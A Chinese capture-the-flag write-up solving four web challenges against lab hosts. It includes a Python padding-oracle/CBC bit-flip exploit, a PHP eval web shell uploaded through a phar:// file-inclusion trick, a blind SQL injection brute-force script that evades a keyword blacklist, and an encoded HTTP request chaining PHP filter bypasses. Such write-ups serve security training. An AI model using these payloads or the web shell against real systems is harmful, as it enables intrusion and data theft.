web3(cbc翻转字节攻击)
这个题目说实话也是一道原题。。。并且我之前也根据这个思路给朋友出过类似的题目。
首先我们会在题目中通过访问robots.txt 中获取到备份文件的泄漏 /backup.zip 以及一个登陆页面/login.html
我们可以发现 在备份文件中METHOD 是aes-128-cbc 且$token在cookie里,是可控参数,于是可以想到是cbc翻转字节攻击 可以使用padding oracle 进行攻击。
题目源码如下:
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
define("KEY", "******");
function privCode(){
$code = '';
$seeds = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
for($i = 0; $i < 15; $i++){
$code .= substr($seeds, rand(1, 61), 1);
}
return $code;
}
$privcode = privCode();
function get_iv(){
$iv = '';
$seeds = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$iv .= substr($seeds, rand(1, 61), 1);
}
return $iv;
}
function loginpriv(){
global $privcode;
$token = get_iv();
$c = openssl_encrypt($privcode, METHOD, KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['privcode'] = base64_encode($c);
if($privcode === 'admin'){ // 此处是一个坑点。。其实在实际源码中是onepiece 是title的值。。
$_SESSION['admin'] = 1;
}else{
$_SESSION['admin'] = 0;
}
setcookie("token", base64_encode($token));
}
function iflogin(){
if (isset($_SESSION['privcode'])) {
$id_decode = base64_decode($_SESSION['privcode']);
$token_decode = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($id_decode, METHOD, KEY, OPENSSL_RAW_DATA, $token_decode)){
if ($u === 'admin') {
$_SESSION['admin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if($username === "admin" && md5($password) === "21232f297a57a5a743894a0e4a801fc3"){ // 21232f297a57a5a743894a0e4a801fc3 是admin的md5
loginpriv();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(iflogin()){
//header('location: ./admin.php');
echo "yes"; //此处为跳转到admin页面,因为需要进行本地模拟,故将此处换成输出yes
}else{
//header('location: ./login.html');
echo "nononononononono"; //此处为跳转到login页面,因为需要进行本地模拟,故将此处换成输出 nononononononono
}
}
?>所以我们可以直接用之前写过的exp进行修改。。
# -*- coding:utf-8 -*-
import requests
import base64
url = 'http://172.1.38.5/login.php'
N=16
s=requests.session()
def inject_token(token):
header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
result=requests.post(url,headers=header)
print header
# print result.headers
return result
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding
result=inject_token(base64.b64encode(c))
if "Error!" not in result.content:
get=chr(j^i)+get
break
return get
def login(url):
payload = {
"username":"admin",
"password":"admin"
}
session = "951be2d1704ef4dcb5f6fa8adec97c67"
session = "v8c2uu6j77504b1hos9c33v8r3"
coo1 = {
"PHPSESSID":session
}
r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
print r.headers
token = r.headers['Set-Cookie'][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
print token
return session, token
# print inject_token(token).content
while 1:
phpsession,token = login(url)
middle1=padding_oracle(N)
print middle1
print "\n"
if(len(middle1)+1==16):
for i in xrange(0,256):
middle=chr(i)+middle1
print "token:"+token
print "middle:"+middle
plaintext=xor(middle,token);
print "plaintext:"+plaintext
des=pad('onepiece',N)
tmp=""
print des.encode("base64")
for i in xrange(16):
tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
print tmp.encode('base64')
result=inject_token(base64.b64encode(tmp))
print result.content
if "Login Form" not in result.content and "Error" not in result.content and "nononononononono" not in result.content:
print result.content
print "success"
exit()既可登录进去
web4
这个题目思路很简单,首先进行目录扫描既可扫到hint.php
可以在源代码中发现hint-> GET提交name 可以通过php伪协议进行源码读取php://filter/read=convert.base64-encode/resource=
//hint.php
<?php
echo'<!--YOU HAVE MY \'name\'-->';
error_reporting(0); // 设置报错不输出
$file=$_GET['name'].'.php'; // 将 $file 参数赋值为 $_GET['name'].'.php'
if(!file_exists($file)){ // 判断 $file 文件 是否在服务器中存在
echo $file." not exists!"; // 如果 $file 文件 不存在则输出 该文件不存在
}
include($file); // include $file
?>
//index.php
<?php
header('hint:uploadupload.php '); // 理论上是放出第一个 hint 。。不过我没看。。
echo'Eazy web';
?>
//uploadupload.php
<?php
echo'<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Upload</title>
</head>
<style>
#fo0kingshell{
margin: auto;
width: 300px;
height: 100px;
}
#msg{
margin: auto;
width:900px;
height: 100px;
}
</style>
<body>
<div id=\'fo0kingshell\'>
<form id="upload-form" action="" method="post" enctype="multipart/form-data" >
<input type="file" id="upload" name="file"/>
<input type="submit" value="Upload" />
</form>
</div>
<!--hint1:TIME IS ALWAYS LIMITTED-->
</body>
</html>';//给第一个提示「自带备注」
if($_FILES) {// 判断是否 存在上传文件
$upfile = $_FILES["file"]["name"]; // 将上传的文件名赋值给$upfile
$fileTypes = array( // 允许上传的文件白名单
'jpg', 'png', 'gif', 'zip', 'rar', 'txt');
function getFileExt($file_name) // 用来返回上传文件的后缀
{
while ($dot = strpos($file_name, ".")) {
$file_name = substr($file_name, $dot + 1);
}
return $file_name;
}
$test1 = strtolower(getFileExt($upfile)); // 将 $test1 赋值为转换小写后的文件后缀名「例如 上传文件名是123.Jpg 则 $test1 为 jpg」
if (!in_array($test1, $fileTypes)) { // 判断后缀名是否为白名单内容
echo $test1.'doesn\'t allow'; // 当后缀不在白名单时候返回 doesn\'t allow
exit(); // 退出
} else { // 后缀名为白名单内
$nfile = md5(rand(1,10000)).'.'.$test1; // 将 $nfile 赋值为 随机数(1-10000)的md5值加上该上传文件的后缀名
move_uploaded_file($_FILES["file"]["tmp_name"], "./file/" . $nfile); // 将上传到文件转移到 ./file/ 目录下 且命名为 $nfile 的值
echo '<div id="msg">'.$nfile.'</div><div>uploaded to ./file</div>
<!--hint3:hint-->'; // 返回到前端页面上传文件的文件名
$port=$_SERVER["SERVER_PORT"];
$host=$_SERVER["HTTP_HOST"];
$ch=curl_init();
curl_setopt($ch, CURLOPT_NOSIGNAL, true);
curl_setopt ( $ch, CURLOPT_TIMEOUT_MS,100);
//curl_setopt($ch, CURLOPT_TIMEOUT,1);
curl_setopt($ch, CURLOPT_URL, "http://".$host."/a6ca1c4487e1e3feba82b5e390dbdd7a.php"); // 访问服务器上的a6ca1c4487e1e3feba82b5e390dbdd7a.php文件 「主要是删除非jpg结尾的文件」
$output = curl_exec($ch);
curl_close($ch);
}
}
?>
//a6ca1c4487e1e3feba82b5e390dbdd7a.php
<?php
sleep(2);
echo'1';
function getFileExt($file_name) // 返回文件的后缀名
{
while ($dot = strpos($file_name, ".")) {
$file_name = substr($file_name, $dot + 1);
}
return $file_name;
}
$handler = opendir('file'); // 扫描 file 目录下的文件
$fileTypes2 = array('jpg'); // 设置白名单只有jpg文件
while( ($filename = readdir($handler)) !== false ) //遍历file下的所有文件
{
if($filename != "." && $filename != "..") // 当不是. 和 .. 时候继续进行
{
$test2 = strtolower(getFileExt($filename)); //将 $test2 赋值为转换小写后的文件后缀名
if (!in_array($test2, $fileTypes2)) { // 判断当前后缀是否不在白名单中
echo $filename;
unlink('./file/' . $filename); // 不在白名单直接删除。
}//5秒后会删除
}
}
?> 当读完源码后我们可以轻易的发现直接使用phar协议即可进行命令执行
具体操作如下:
首先我们可以先写个php结尾的一句话命令
//sgdream.php <?php eval($_GET['sgdream']); ?>
然后打包zip操作并且把后缀改成jpg结尾
上传到服务器上,根据返回到的文件名进行命令执行读取flag
http://172.1.38.3/hint.php?name=phar://file/0d8f8313c83e69d101e8997d3065fbff.jpg/sgdream&sgdream=system(%27cat%20/flag.txt%27);
web1
这个题目过滤了很多内容但是通过fuzz发现没有过滤 (^,select,FROM,ASCII,MID,=)这些单词符号,所以我们可以通过构造
```mysql
1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),0,1))=1))^1=1
题目源码如下:
<html>
<head>
<title>Hack World</title>
</head>
<body>
<h3>All You Want Is In Table 'ctf' and the column is 'flag'</h3>
<h3>Now, just give the id of passage</h3>
<form action="index.php" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
<?php
$dbuser='ctf';
//$dbuser='root';
$dbpass='anvue91kd';
//$dbpass='root';
function safe($sql){
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}「因为题目已经给了表名及表字段名」进行逐位爆破。
#coding=utf-8
import requests
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://172.1.38.1/index.php"
keyword = "Error Occured When Fetch Result"
string = ""
for i in range(1, 30):
for j in dic:
payload = "1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),{0},1))={1}))^1=1".format(str(i),ord(j))
data = {
'id':payload
}
url_get = url
# print(url_get)
content = requests.post(url_get,data=data)
# print(content.text)
if keyword not in content.text:
string += j
print(string)
break
print("result = " + string)
#flag58f45cfe44WEB 2
这个题目通过前端hint 得知 通过携带GET参数src可以读到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40<html>
<body>
<!-- ?src -->
</body>
echo "Null ... Null ... Null ... ";
if(isset($_GET['src'])) { // 判断src存在则输出源码
die(highlight_file('index.php', true));
}
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) { // 可以通过post一个相同的key值为数字即可绕过
if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
}
}
if($_SERVER){
if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');//可以通过url编码进行绕过,因为 $_SERVER['QUERY_STRING'] 不会对传参进行url解码,但是 $_GET 会
}
if(isset($_GET['cyber'])){ // 直接通过传入数组可以绕过。
if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
die('Hello Hack...');
}else{
if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){ // 因为preg_match正则没有/d的话 可以直接通过增加一个%0a进行绕过
$getflag = file_get_contents($_GET['flag']); // 可以通过data协议进行赋值 data://text/plain,security
}else
die('Hello Hack....');
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
}
}
首先绕过
1
2
3
4
5if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
}
}
可以通过post一个相同的key值为数字即可。
绕过
1
2
3if($_SERVER){
if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');
}
可以通过url编码进行绕过,因为$_SERVER['QUERY_STRING']不会对传参进行url解码,但是$_GET会
绕过
1
2
3if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
die('Hello Hack...');
}
直接通过传入数组可以绕过。
然后绕过
1
2
3
4
5
6
7
8if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
$getflag = file_get_contents($_GET['flag']);
}else
die('Hello Hack....');
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
因为preg_match正则没有/d的话 可以直接通过增加一个%0a进行绕过
$getflag 可以通过data协议进行赋值 data://text/plain,security
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /?%63%79%62%65%72%5b%5d%3d%66%31%66%37%31%33%63%39%65%30%30%30%66%35%64%33%66%32%38%30%61%64%62%64%31%32%34%64%66%34%66%35%26%66%6c%61%67%3d%69%6e%64%65%78%2e%70%68%70%26%63%69%73%63%6e%3d%63%69%73%63%6e%73%65%63%25%30%61%0a&%63%69%73%63%6e=%63%69%73%63%6e%73%65%63%0a&%66%6c%61%67=data://text/plain,security HTTP/1.1
Host: 172.1.38.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
DNT: 1
Connection: close
Referer: http://172.1.38.2/cyber
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
ciscn=1&flag=1
return :
1
Null ... Null ... Null ... flag{bdc4680156}